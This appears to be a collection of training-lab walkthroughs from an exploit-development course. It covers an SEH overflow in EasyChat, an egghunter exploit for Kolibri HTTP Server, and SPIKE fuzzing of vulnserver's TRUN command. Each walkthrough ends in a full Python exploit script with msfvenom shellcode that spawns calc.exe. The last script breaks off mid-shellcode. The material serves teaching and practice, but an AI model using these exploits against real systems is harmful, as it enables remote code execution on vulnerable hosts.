Task 3: Move the execution flow past the SEH


entry
As discussed in the course, during SEH-based overflows
we have to redirect execution past the SEH entry.

Hint: Mona can provide us with the gadgets and the


proper jumps to achieve that.

Task 4: Discover any bad characters


During the course we have already discussed how a
single bad character can corrupt a whole exploit.
Utilize the usual ASCII table within your payload and
look into the debugger for any bad characters.
Task 5: finalize the exploit
Fully exploit MP3 Studio so that a calc.exe is
launched.

SOLUTIONS
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Recognize the exploitable conditions


Let's try to figure out if we are really dealing with
an SEH-based overflow and also, what offset exactly is
needed to overflow the SEH. Let's launch the
application (You might need to click the confirmation
window before it starts listening for incoming
connections).

Let's attach a debugger to the EasyChat process, as


follows.
After attaching, remember to press Run (F9) since the
application will be in a paused state.

Let's now launch the exploit against the application.

Let's also pass the exception to the application.

It certainly looks like the EIP can be controlled via


SEH overwrite.

Feel free to use Immunity's "View -> SEH chain"


functionality yourself to witness the SEH overwrite.

Task 2: Find offset to the seh/eip


Let's try to figure out the offset to the SEH
structure using Mona's pattern_create, as follows.
We can find the complete pattern inside the Immunity
Debugger folder on a file called pattern.txt. The
default Immunity Debugger location is:

C:\Program Files\Immunity Inc\Immunity Debugger

Let's add the pattern into ours exploit, as follows.

After we restart the application and reattach the


debugger, we launch the latest exploit. Once an
exception is encountered, it is passed to the
application.

To identify the offset, we pass the displayed EIP to


Mona's pattern_offset.

We now know that we need to overwrite 221 bytes. This


is until the current SHE. If you recall, there is also
an nSEH record before the SEH, which is also 4-bytes
long. We should thus remember that we start
overwriting the exception handler structure at 217
bytes. Let's modify the buffer and launch the modified
exploit against the target in order to confirm if our
calculations were correct.
Before passing the exception to the program, let's go
to view -> SEH chain.

We can see that the SEH structure was properly


overwritten. Also, we can scroll down the stack view
to see it.

After passing the exception to the program, we


successfully overwrite EIP with C's

Task 3: Move the execution flow past the SEH


entry
The next thing that will be required during the SEH
exploitation, is the POP-POP-RET gadget. We can
quickly find it using mona, as follows.

Since the output is pretty large, you can also find it


in the default Immunity Debugger directory as an
seh.txt file.
Let's choose any gadget that ends with a regular ret
(ret X will corrupt the stack) and let's incorporate
it into the exploit. Moreover, since the gadget will
cause the program to start executing whatever is in
the nSEH, let's place breakpoints there so in case we
successfully alter the execution flow, we will know
about it.

Upon encountering an exception, do not immediately


pass it to program. Let's first scroll down the stack
and find the overwritten SEH structure. Go to the SEH
pointer and right-click. Select "Follow in
disassembler" from the drop-down menu.

You can see the instructions that are placed at this


address (exactly those that were members of the chosen
gadget).
Select the first POP instruction and right-click it.
From the drop-down menu select Breakpoint -> Memory,
on access.

As the breakpoint is placed, we can now pass the


exception (Shift + F9) to the program. The execution
will stop exactly at this instruction. From this point
onwards, we will use the Step Into (F7) instruction,
that makes the debugger go just to next instruction.

After pressing F7, we will land at the second POP


instruction. We can see that the stack value was
popped to the respective register. Press F7 once
again, so you land on the RET instruction.

As we already know, RET causes the program to execute


whatever the stack pointer is now pointing to. What is
that? First, make sure you have your stack window
aligned to ESP. Right-click on the ESP address and
choose "Follow in Stack"
Now, right click on the top address on the stack and
choose "Follow in Dump"

You can observe that those breakpoints that were put


in the place of the nSEH, are now going to be
executed.

Press Step Into once again.


And we are executing the breakpoints!

Now, since we know that the nSEH can be executed, we


should change it to something useful, that will help
us omit the SEH pointer and start executing whatever
lies past it.

We can use the standard trick of short jump-ing 6


bytes forward. The opcodes for it are:

EB 06. In order to pad the remaining 2 bytes, we can


use NOPs. This translates to the following.

Moreover, we add a shellcode placeholder containing


one break point. If we will be able to reach the
shellcode, the debugger will stop.

Let's launch the exploit and pass the exception to the


program. We are executing shellcode!

Task 4: Discover any bad characters


Before we implement the final shellcode, let's check
for the presence of bad characters. We will send a
buffer of all ASCII's instead of shellcode.
After passing the exception to the program, we can
inspect the stack for malformed bytes. There are two
(\x25 and \x2b) which were changed to some other
bytes.

Task 5: Finalize the exploit


Knowing which characters are bad for this software, we
can finally generate shellcode using msfvenom. We can
also add it to the exploit, replacing the single
breakpoint.

● msfvenom -p windows/exec cmd=calc.exe


exitfunc=thread -b "\x00\x25\x2b" -f c
Let's launch the latest exploit against the software
without attaching a debugger to it. Calc should show
up!

#Here is the full exploit code:

import os
import sys
import socket

ip = "127.0.0.1"
port = 80

socket = socket.socket(socket.AF_INET ,
socket.SOCK_STREAM)
socket.connect((ip , port))

#msfvenom -p windows/exec cmd=calc.exe exitfunc=thread


-b "\x00\\x25\x2b" -f c
SEHllcode =
("\xb8\x26\xce\x41\x87\xd9\xcb\xd9\x74\x24\xf4\x5e\x29
\xc9\xb1"
"\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x29\x2c\xb4\x7b\
xdd\x32"
"\x37\x84\x1d\x53\xb1\x61\x2c\x53\xa5\xe2\x1e\x63\xad\
xa7\x92"
"\x08\xe3\x53\x21\x7c\x2c\x53\x82\xcb\x0a\x5a\x13\x67\
x6e\xfd"
"\x97\x7a\xa3\xdd\xa6\xb4\xb6\x1c\xef\xa9\x3b\x4c\xb8\
xa6\xee"
"\x61\xcd\xf3\x32\x09\x9d\x12\x33\xee\x55\x14\x12\xa1\
xee\x4f"
"\xb4\x43\x23\xe4\xfd\x5b\x20\xc1\xb4\xd0\x92\xbd\x46\
x31\xeb"
"\x3e\xe4\x7c\xc4\xcc\xf4\xb9\xe2\x2e\x83\xb3\x11\xd2\
x94\x07"
"\x68\x08\x10\x9c\xca\xdb\x82\x78\xeb\x08\x54\x0a\xe7\
xe5\x12"
"\x54\xeb\xf8\xf7\xee\x17\x70\xf6\x20\x9e\xc2\xdd\xe4\
xfb\x91"
"\x7c\xbc\xa1\x74\x80\xde\x0a\x28\x24\x94\xa6\x3d\x55\
xf7\xac"
"\xc0\xeb\x8d\x82\xc3\xf3\x8d\xb2\xab\xc2\x06\x5d\xab\
xda\xcc"
"\x1a\x53\x39\xc5\x56\xfc\xe4\x8c\xdb\x61\x17\x7b\x1f\
x9c\x94"
"\x8e\xdf\x5b\x84\xfa\xda\x20\x02\x16\x96\x39\xe7\x18\
x05\x39"
"\x22\x7b\xc8\xa9\xae\x52\x6f\x4a\x54\xab")

buffer = "A" * 217


buffer += "\xeb\x06\x90\x90" #jump over the seh
buffer += "\xc4\x21\xc4\x77" #0x77c421c4 : pop esi #
pop edi # ret
buffer += SEHllcode
buffer += "DDDD" * (500-len(SEHllcode))

request = "POST /registresult.htm HTTP/1.1\r\n\r\n"


request += "Host: 192.168.1.11"
request += "User-Agent: Mozilla/5.0 (X11; Linux i686;
rv:45.0) Gecko/20100101 Firefox/45.0"
request += "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8"
request += "Accept-Language: en-US,en;q=0.5"
request += "Accept-Encoding: gzip, deflate"
request += "Referer: http://192.168.1.11/register.ghp"
request += "Connection: close"
request += "Content-Type:
application/x-www-form-urlencoded"

request += "UserName=" + buffer


+"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.
gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit
1=Register"

socket.send(request)
data = socket.recv(4096)
print data
socket.close()

Windows Egghunting (Kolibri HTTP


Server) LAB 6

Scenario
You have been tasked by your red team manager, to
refresh your Windows exploit development skills.
Specifically, he provided you with a machine
(172.16.172.16) that features a vulnerable to overflow
version of the Kolibri HTTP server. An exploit
skeleton* is also provided to you. Your task this time
is to fully exploit the stack overflow vulnerability
of the Kolibri HTTP server, utilizing an egghunter
shellcode.

*Find below the exploit skeleton that causes the


application to crash.

Goals
● Fully Exploit Kolibri HTTP server, using an
egghunter shellcode

● Spawn calc.exe as a proof of concept

What you will learn


● Utilizing the egghunter shellcode during stack
overflow exploitation cases

Recommended tools
● ImmunityDbg
● Mona.py

● Python

● Notepad++

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.16

● Connection Type: RDP

Username: elsadmin
Password: elsadmin1

If you are on Windows, use the mstsc command or the


Remote Desktop Connection application, and then type
the IP address.

If you are on Linux, you can use a tool like rdesktop.

Note: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.

Tasks
Task 1: Recognize the exploitable conditions
Confirm the vulnerability by attaching Immunity to the
Kolibri HTTP server and crashing the application,
utilizing the exploit skeleton.

Task 2: Redirect execution to the stack


After controlling the EIP we are usually interested in
redirecting the execution flow. To do so the proper
jump instruction is required. Mona can help you with
that task.

Task 3: Discover any bad characters


During the course we have already discussed how a
single bad character can corrupt a whole exploit.
Utilize the usual ASCII table within your payload and
look into the debugger for any bad characters.

Task 4: Implement the egghunter


During the course we have already discussed how you
can obtain an egghunter shellcode. Mona is your
friend...

Task 5: Finalize the exploit


It is time you fully exploit the Kolibri HTTP server
and spawn calc as a proof of concept.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).
Task 1: Recognize the exploitable conditions
We will start by launching the exploit skeleton. We
will see that the EIP is already overwritten. Our
intention is to turn this EIP-overwrite crash into
code execution. Let's start with the following draft
exploit.

Let's open the server inside Immunity Debugger, and


then press Start so that it begins to accept
connections.
Once we launch the draft exploit, we will come across
the following.

If you try to fit more C's looking for easy code


execution, you can try to exploit the server in a SEH
way. However, in this exercise, we will use the
Kolibri server for experimenting with an egghunter
shellcode.
The situation is the following:

● There is a vanilla EIP overwrite, the buffer


offset to the EIP is already known (refer to the
draft exploit)

● We can possibly jump to the buffer that is located


right past the EIP

● We have more than 500 bytes in the initial buffer


that can be used to store the main shellcode

Task 2: Redirect execution to the stack


Let's start by looking for the proper jump
instruction. Let's just open the program in Immunity
Dbg or attach the debugger to a running Kolibri server
and then issue the following Mona command.

!mona jmp -r esp

Plenty of pointers were found. Feel free to use


whichever you want. In our case, we will use the
depicted one below.
Moreover, let's add some breakpoints just after the
EIP gets overwritten, so that we can stop after we
transfer execution to the stack using the jump.

Once we launch the updated exploit, we successfully


land just after the EIP overwrite in our buffer.

Task 3: Discover any bad characters


Before we move on, let's perform a bad character
analysis. Let's place the full ASCII table (apart from
\x00 which can be safely assumed to be a bad
character) within the exploit buffer, where currently
"A" letters reside.
badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d
\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x
1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\
x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3
a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\
x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5
b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\
x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7
a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\
x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9
a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\
xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xb
a\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\
xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xd
a\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\
xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xf
a\xfb\xfc\xfd\xfe\xff")

Lauching the latest exploit, gives us the following


result.
What happened there?

We can clearly see that the buffer was broken after


the \0x1F character. Moreover, \x20 was turned into a
null byte and the remaining buffer was truncated. It
seems that the presence of space (\x20) causes the
buffer to break. Let's remove it from our buffer and
launch the exploit again after we restart the
software.

Again, some character causes the buffer to break.


It seems that this time, the buffer was truncated in
the place where the "\x3F" character was residing.
Let's update the ASCII buffer once again by removing
"\x3F" from it.

Once we launch the latest version of our exploit, we


see no more bad characters. As we know which
characters should be avoided, we can continue
implementing ours shellcodes.

Task 4: Implement the egghunter


Let's start with simple egghunter. The targeted marker
tag is "w00t". As discussed during the course, Mona
can help us create such a shellcode.

Having such a payload, and after checking that the


egghunter does not contain any bad characters within,
we can instantly change the breakpoints to the
egghunter so that we will start to execute it upon
jumping to the ESP. Moreover, let's introduce a
shellcode placeholder so that the egghunter will have
a chance to find it.

So far the shellcode consists of a marker tag and a


single breakpoint. It is padded with "A"'s to save the
buffer's original length. Let's launch the latest
version of our exploit against the debugged
application.

If we now use Mona to search for the marker tag in the


application's memory, we will notice that that the egg
is populated multiple times there. As the egghunter
will search through the process's address space for
the marker tag, it will stop on the first (double)
marker tag encountered. This means, that we will not
necessarily land in the beginning of the user buffer.

However this fact does not affect the exploit.

Task 5: finalize the exploit


Let's implement the final shellcode that will spawn a
calculator. In order to generate it, we can use
msfvenom.

Upon launching the final exploit against the Kolibri


server (without a debugger being attached to it) we
should see calc.exe being spawned.
The application exits, but calc was popped!

Here you can find full exploit code:

#!/usr/bin/python

import socket, os, sys

egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\
x05\x5a\x74\xef\xb8w00t\x8b\xfa\xaf\x75\xea\xaf\x75\xe
7\xff\xe7"

#msfvenom -p windows/exec cmd=calc.exe -b


"\x00\x20\x3f" -f c

sc =
("\xbf\x9a\xfc\xd9\xc5\xdb\xd3\xd9\x74\x24\xf4\x5b\x29
\xc9\xb1"
"\x31\x83\xeb\xfc\x31\x7b\x0f\x03\x7b\x95\x1e\x2c\x39\
x41\x5c"
"\xcf\xc2\x91\x01\x59\x27\xa0\x01\x3d\x23\x92\xb1\x35\
x61\x1e"
"\x39\x1b\x92\x95\x4f\xb4\x95\x1e\xe5\xe2\x98\x9f\x56\
xd6\xbb"
"\x23\xa5\x0b\x1c\x1a\x66\x5e\x5d\x5b\x9b\x93\x0f\x34\
xd7\x06"
"\xa0\x31\xad\x9a\x4b\x09\x23\x9b\xa8\xd9\x42\x8a\x7e\
x52\x1d"
"\x0c\x80\xb7\x15\x05\x9a\xd4\x10\xdf\x11\x2e\xee\xde\
xf3\x7f"
"\x0f\x4c\x3a\xb0\xe2\x8c\x7a\x76\x1d\xfb\x72\x85\xa0\
xfc\x40"
"\xf4\x7e\x88\x52\x5e\xf4\x2a\xbf\x5f\xd9\xad\x34\x53\
x96\xba"
"\x13\x77\x29\x6e\x28\x83\xa2\x91\xff\x02\xf0\xb5\xdb\
x4f\xa2"
"\xd4\x7a\x35\x05\xe8\x9d\x96\xfa\x4c\xd5\x3a\xee\xfc\
xb4\x50"
"\xf1\x73\xc3\x16\xf1\x8b\xcc\x06\x9a\xba\x47\xc9\xdd\
x42\x82"
"\xae\x12\x09\x8f\x86\xba\xd4\x45\x9b\xa6\xe6\xb3\xdf\
xde\x64"
"\x36\x9f\x24\x74\x33\x9a\x61\x32\xaf\xd6\xfa\xd7\xcf\
x45\xfa"
"\xfd\xb3\x08\x68\x9d\x1d\xaf\x08\x04\x62")

shellcode = "w00tw00t" + sc

payload1 = shellcode + "A"*(515-len(shellcode)) +


"\xA4\x10\x3D\x77" + egghunter + "C"*100 #jmp esp
773D10A4

buffer = (
"HEAD /" + payload1 + " HTTP/1.1\r\n"
"Host: 127.0.0.1:8080\r\n"
"User-Agent: " + "Exploit Writer" + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer)
expl.close()

Fuzzing Windows Software LAB 17

Scenario
Your red team manager keeps challenging you, to
further develop your exploit development skills. This
time he tasked you with automating payload generation
and crash identification. A Windows 7 machine has been
set up for you. Vulnserver is in this machine's
Desktop and it will be the target of fuzzing
activities. Your challenge is to identify if there is
a vulnerability in vulnserver's TRUN command, through
fuzzing.

You can connect to the lab machine via remote desktop.


The target IP is 172.16.172.156

The remote desktop credentials are the following.

Username: eLS
Password: eLSPwdAdmin1602
In this lab's context, we chose to run vulnserver on
port 9999 (vulnserver.exe 9999)

The remote machine doesn't feature any protection.

Note: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.

Goals
● Automate payload generation and vulnerability
identification

What you will learn


● Utilizing fuzzing for effective vulnerability
identification

Recommended tools
● Immunity Debugger

● Mona.py

● Spike

● Wireshark

● Kali linux
Network Configuration &
Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.156

● Connection Type: Remote Desktop

Username: eLS
Password: eLSPwdAdmin1602

Spike Fundamentals
According to OWASP, Fuzz testing or Fuzzing is a Black
Box software testing technique, which basically
consists in finding implementation bugs using
malformed/semi-malformed data injection in an
automated fashion. Fuzzing, when performed by exploit
developers/security researchers etc., focuses on
discovering bugs that could lead to code execution.
There are numerous fuzzers available, but in the
context of this course we will focus on SPIKE.

SPIKE is a protocol fuzzer creation kit. It provides


an API that allows a user to create their own fuzzers
for network based protocols using the C++ programming
language. The tool defines a number of primitives that
it makes available to C coders, which allows it to
construct fuzzed messages called "SPIKES" that can be
sent to a network service ...
That being said, you don't have to be capable at C
programming to use SPIKE. SPIKE comes with a scripting
capability and is also accompanied by some useful
command line tools which can act as interpreters to
text files containing SPIKE primitives. Find below a
quick overview/description of SPIKE.
http://www.immunitysec.com/downloads/usingspike3.ppt

Credits to: Stephen Bradshaw for the SPIKE


introduction below.

What are some of the useful features of SPIKE?

● SPIKE has a large number of in-built strings to


use for fuzzing that are very effective at
producing a wide variety of errors in programs.
SPIKE does a lot of the work for you in
determining the values that can best be sent to an
application to cause it to fail in a useful way.
This means you don't have to come up with these
values yourself, and you benefit from the
considerable experience of the programs author in
choosing good fuzzing strings.

● SPIKE has a concept of "blocks", which can be used


to calculate the size of specified sections within
the SPIKES that are generated by the SPIKE code.
These size values can then be inserted into the
SPIKES themselves, in a variety of different
formats. This is a real benefit when fuzzing
protocols that require accurate size values to be
specified for particular fields within a message,
and saves you the effort of doing these
calculations yourself.
● SPIKE can support a number of different data types
that are commonly used in network protocols, and
can accept them in a variety of different formats
that allow easy cutting and pasting from many
different programs.

SPIKE Scripting

As previously mentioned, SPIKE also includes a basic


scripting capability that allows you to use SPIKE
primitives to fuzz applications without having to code
your own SPIKE fuzzer in C. A variety of different
interpreters are available with the SPIKE distribution
that allow you to specify certain relevant subsets of
these SPIKE primitives to send against various types
of network applications. In order to simplify things
for the rest of this article, I am going to refer to
this subset of SPIKE primitives that can be used in
SPIKE scripts as "commands".

In the case of TCP based server applications, we can


make use of this scripting capability by writing SPIKE
commands into .spk script files, and running them
using the TCP SPIKE script interpreter
generic_send_tcp (pre-installed on Kali Linux), which
will send the specified SPIKE at a particular IP
address and TCP port. There is also a
generic_send_udp, which will do something similar,
however within this interpreter the SPIKES will be
sent over UDP.

The generic_send_tcp interpreter (which we will be


using to fuzz our application), if run without any
command line parameters shows the following.
Hopefully the first three required command line
options are self-explanatory, with parameters one and
two defining the host and TCP port to connect to for
fuzzing, and the third parameter defining the name of
the SPIKE script file. Parameters 4 and 5 may require
some more explanation. These parameters, SKIPVAR and
SKIPSTR, essentially allow you to jump into the middle
of the fuzzing session defined by a SPIKE script.

Within a SPIKE script, you may specify


"s_string_variables", which are the commands used to
insert the actual fuzzed strings into each SPIKE that
you send. If you use more than one of these
"s_string_variables" in your script, you can skip
using the earlier instances of "s_string_variables" by
setting an appropriate value for SKIPVAR. For example,
if you include three "s_string_variables" in your
SPIKE script, and you want to ignore the first two
variables and only fuzz the third, you would set
SKIPVAR to 2 (the numbering of the variables starts
counting upwards from 0, so the third variable is
referred to by the number 2).

Each of the "s_string_variables" also has an array of


different fuzz string values inbuilt into SPIKE that
it will iterate through within a SPIKE fuzzing
session. If you want to skip the first 10 of these
strings, and start fuzzing at string 11, you can set
SKIPSTR to 10 (again, counting starts from 0).

When you use generic_send_tcp, it will output


information to the command line about which variable
and string it is currently testing, so if a SPIKE
session gets interrupted and you need to continue it
later on you can do so with the use of these two
command line parameters.

To start a fuzzing session from the beginning, just


use "0 0" for these parameters, so to start a fuzzing
session against host 192.168.1.101 on port 9999 using
script file "test.spk" from the beginning, use the
following command line

root@kali:~# generic_send_tcp 192.168.56.101 9999


test.spk 0

SPIKE Scripting Commands

To write a SPIKE script for our fuzzing exercise, we


first need to know what some of the available commands
are and what they do.

If you want to hunt through the SPIKE distribution


directory, the available primitives that we can use as
commands in our script file can be discovered by
examining some of the example .spk files as well as
the SPIKE header file spike.h. The spike.h file will
list the available primitives (commands), and the .spk
files will provide examples of how those commands can
be used.

Keep in mind that the SPIKE scripting capability will


only support a subset of the primitives in spike.h -
the scripting "interpreter" program performs the work
of creating the "SPIKE" and making the network
connection, so you can only use the commands that
define the content of the SPIKE itself in the scripts.

To save you the trouble of hunting through those


files, we will list some of the more useful SPIKE
primitives for scripting below. The spike.h file,
being written in C, lists each of the SPIKE commands
in C syntax, using C data types, but for the benefit
of those unfamiliar with C syntax I am going to
specify the commands using an "example" format that
you can more easily reproduce when writing your
scripts. The "//" notation is used in C to designate
line-based comments (everything after that point is
ignored by the compiler), so I have used this syntax
below to provide additional explanatory detail for
each of the commands. You can leave these comments in
when you create your SPIKE scripts, or add your own
comments, and this text will be ignored by the SPIKE
interpreter.

The commands have been broken below into a number of


high-level categories relating to strings, binary
data, blocks and other useful functions.

Strings

The string commands provide a way of adding ASCII


character data into your SPIKES. Also included within
the string commands is the s_string_variable command,
one of the most important commands within SPIKE as it
actually allows you to add fuzz strings to your SPIKE.

● s_string("string"); // simply prints the string


"string" as part of your "SPIKE"

● s_string_repeat("string",200); // repeats the


string "string" 200 times

● s_string_variable("string"); // inserts a fuzzed


string into your "SPIKE". The string "string" will
be used for the first iteration of this variable,
as well as for any SPIKES where other
s_string_variables are being iterated

Binary Data

The binary commands provide a way of adding binary


data to your SPIKES. They support a wide variety of
ways to specify the binary data.

● s_binary("\\x41"); // inserts binary


representation of hex 0x41 = ASCII "A"

● s_binary_repeat("\\x41", 200); //inserts binary


representation of 0x41 200 times

For the binary commands in SPIKE, various other


methods for specifying the same data are also
available. To output the same hex character as shown
above, we could use "41" or "0x41" as well, and we can
also mix and match these values, (e.g. "410×41\\x42"
to output ASCII "AAB"). Any added white space is also
ignored. All of this combines to allows easy cutting
and pasting from a variety of different applications
that represent data in Hex format, such as packet
capture tools, debuggers, etc.

Defining Blocks

Block defining commands allow you to specify the start


and end points of a named block within a SPIKE script.
This allows you to define the size of those sections
of data in your SPIKES using block size commands.
● s_block_start("block1"); // defines the start of
block "block1"

● s_block_end("block1"); // defines the end of block


"block1"

Block Sizes

Block size commands allow you to insert the size of


data inside a named block inside the SPIKES generated
by your script, using a variety of different size
formats.

● s_blocksize_string("block1", 2); // adds a string


2 characters long to the SPIKE that represents the
size of block "block1"

● s_binary_block_size_byte("block1"); //adds a 1
byte value to the SPIKE that represents the size
of block "block1"

These are just two examples from the many ways of how
block size can be added to a SPIKE. There are other
methods too, that can allow you to represent block
size in a large variety of formats, and some that even
allow you to add preset values to the block size
before it is

To see some of the other options, simply perform a


grep on the spike.h file in the SPIKE src directory
for the strings "block_size" or "blocksize".

Other Useful Commands


Other useful commands are those that don't fit into
any of the other categories previously mentioned.

● s_read_packet(); // Reads and prints to screen


data received from the server

● s_readline(); // Reads a single line of input from


the server

You can also use general C language functions within


SPIKE scripts, to give you additional scripting
capabilities. One particularly useful function is
printf(), which can be used to output data to the
terminal, which can give our scripts more informative
console output.

An Example SPIKE Script

The following is an example SPIKE script that could be


used to fuzz the inputvar variable in php script
testme.php via a POST request to
testserver.example.com.

s_string("POST /testme.php HTTP/1.1\r\n");


s_string("Host: testserver.example.com\r\n");
s_string("Content-Length: ");
s_blocksize_string("block1", 5);
s_string("\r\nConnection: close\r\n\r\n");
s_block_start("block1");
s_string("inputvar=");
s_string_variable("inputval");
s_block_end("block1");

This script essentially specifies a message like the


below, where [fuzz_string] represents the location
where the SPIKE fuzz strings will be inserted into the
message, and [size_of_data] represents the size of the
data section of the POST request, which contains the
fixed string "inputvar=" and the variable data of the
fuzz string. This size field will be automatically
updated as the fuzz string changes.

POST /testme.php HTTP/1.1


Host: testserver.example.com
Content-Length: [size_of_data]
Connection: close
inputvar=[fuzz_string]

Tasks
Task 1: Interact with the remote vulnserver
First, log in to the remote machine (172.16.172.156)
and start vulnserver (vulnserver.exe 9999)

Back to your attacking machine, use netcat to interact


with the remote vulnserver. Try to identify its
commands and their parameters.

Task 2: Create SPIKE templates


Create SPIKE templates, that will instruct SPIKE to
test certain commands/parameters. Specifically, we
would like to send fuzzed strings in the place of a
supported command, and as parameters to supported
commands that do, and do not seem to support
parameters.

Task 3: Send packages to Vulnserver with


Spike
Spike can transmit both TCP and UDP packages. The
generic_send_tcp command (pre-installed on Kali Linux)
is used to transmit TCP packages.

*generic_send_tcp <IP address> <port number> <template


name> <SKIPVAR> <SKIPSTR>*

In this lab's context SKIPVAR will always be zero.

SKIPSTR is used when we want to commence fuzzing from


a specific string onwards. If SKIPSTR is zero, then
all available strings will be transmitted and tested.

Task 4: Monitor vulnserver with Immunity and


create a working exploit in case of an
exploitable crash
Use Immunity debugger to monitor vulnserver's state.
In case of a crash, investigate if this crash can be
exploited for command execution and create a working
POC exploit.

SOLUTIONS
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Interact with the remote vulnserver


Once vulnserver is started, let's interact with it
using netcat.
From the above, we conclude that:

● If commands that support parameters are invoked


without one, we get an UKNOWN COMMAND response

● Commands are case sensitive

● Incorrect/unsupported commands will result in an


UNKNOWN COMMAND response
● Random parameters seem to be accepted and
processed

Task 2: Create SPIKE templates


As mentioned in the task's description, let's instruct
SPIKE regarding which commands and/or parameters we
want it to test, through SPIKE templates. A generic
template we can work on is the following.

s_readline(); //print received line from server


s_string_variable("COMMAND"); //send fuzzed string

For example, to fuzz the TRUN command, we can use the


below template (let's name it trun.spk).

s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");

Task 3: Send packages to Vulnserver with


Spike
To actually start fuzzing vulnserver's TRUN command,
we will utilize generic_send_tcp (pre-installed on Kali
Linux), as follows (trun.spk can be found on Task 2).

generic_send_tcp 172.16.172.156 9999 trun.spk 0 0

We notice that packets are successfully transmitted


and vulnserver crashes shortly after we began our
fuzzing activities.
Task 4: Monitor vulnserver with Immunity and
create a working exploit in case of an
exploitable crash
Let's attach Immunity to monitor vulnserver closely. A
crash may result in EIP overwrite...

Don't forget to press the start button (or F9) so that


vulnserver resumes its operations.

Let's also restart our previous fuzzing activities.

It looks like one of the transmitted "payloads"


overwrote the EIP.
On our attacking machine, there is no clear indication
of which message/packet caused the crash. Let's
restart the whole process again (attach and fuzz), but
this time sniff the passing traffic with Wireshark, to
learn more about the crash.
We should follow the TCP conversations to learn more
about the crash. We are specifically looking for
conversations that don't include "TRUN COMPLETE". If
the remote server crashed, "TRUN COMPLETE" will be
missing from the conversation.

The packet below looks interesting.


There is no "TRUN COMPLETE" at the end.
Note that the crash took place at item "0:1". If we
want to keep searching for other crashes, we can
continue where we left off, as follows.

generic_send_tcp 172.16.172.156 9999 trun.spk 0 3

Now that we know that the TRUN command is vulnerable,


we can follow the traditional stack overflow
exploitation approach to identify the exact offset to
overwrite EIP and then redirect the execution flow to
our supplied buffer/shellcode. Be reminded that the
remote machine doesn't feature any protection.

Find below a working POC exploit.

#!/usr/bin/python
import socket
server = '172.16.172.156'
sport = 9999

prefix = 'A' * 2006


eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit =
("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33
\xc9\xb1"
"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\
x60\x14"
"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\
x77\xfd"
"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\
x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\
x9f\xd9"
"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\
x33\xa5"
"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\
xce\x1c"
"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\
xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\
xde\xe3"
"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\
xa8\xeb"
"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\
x86\x73"
"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\
x0b\x9c"
"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\
